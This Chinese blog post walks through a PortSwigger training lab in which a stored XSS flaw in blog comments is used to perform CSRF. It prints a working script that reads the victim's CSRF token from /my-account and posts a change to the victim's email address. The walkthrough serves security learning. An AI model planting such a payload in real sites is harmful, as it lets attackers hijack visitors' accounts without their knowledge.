实战演练:利用XSS漏洞执行CSRF攻击

发布时间:2024年01月15日

1. 选择目标站点

为了方便举例,这里我们选择portswigger默认搭建好的实验室环境。
PS:其他站点类似操作即可。

1.1 实验环境介绍

该实验室在博客评论功能中包含存储的XSS漏洞。要解决实验室问题,可利用该漏洞执行CSRF攻击,并更改查看博客帖子评论的人的电子邮件地址。
实验入口:进入网站https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf,点击【ACCESS THE LAB】即可进入实验环境。
在这里插入图片描述

2. 实战演练:利用XSS漏洞执行CSRF攻击

  1. 进入环境后可以看到本站点是一个博客,点击【My account】登录博客,可以使用以下凭据登录到自己的帐户:wiener:peter。
    在这里插入图片描述

  2. 查看登录网址源码,可以发现网站做了CSRF防御
    在这里插入图片描述

  3. 接下来需要探索目标网站是否存在XSS注入,以便获取用户csrf token执行后续攻击

    随机打开一篇文章
    在这里插入图片描述
    进入评论区,测试是否存在XSS。
    在这里插入图片描述
    通过在评论区注入代码<script>alert(1)</script>,返回博客首页后,出现弹窗,说明评论区确认存在XSS注入点。

  4. 构建XSS payload提取源码中的csrf token值,并发送修改电子邮箱的请求,受害者进入评论页面后,电子邮箱会被自动篡改。
    构建payload如下

    <script>
    	var req = new XMLHttpRequest();
    	req.onload = handleResponse;
    	req.open('get', '/my-account', true);
    	req.send();
    
    	function handleResponse() {
    		var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    		console.log(token)
    		var changeReq = new XMLHttpRequest();
    	changeReq.open('post', '/my-account/change-email', true);
    	changeReq.send('csrf='+token+'&email=attacker@163.com')
    };
    </script>
    

在这里插入图片描述
5. 再次进入这篇文章后会自动篡改邮箱,拦截的请求如下,可以看到CSRF注入生效了。
在这里插入图片描述

当然也可以利用Burp Suite专业版自带的CSRF PoC生成器自动生成一份PoC,html格式,可以直接界面点击触发。

3. 参考

[1] https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf

文章来源:https://blog.csdn.net/u013129300/article/details/135589471
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。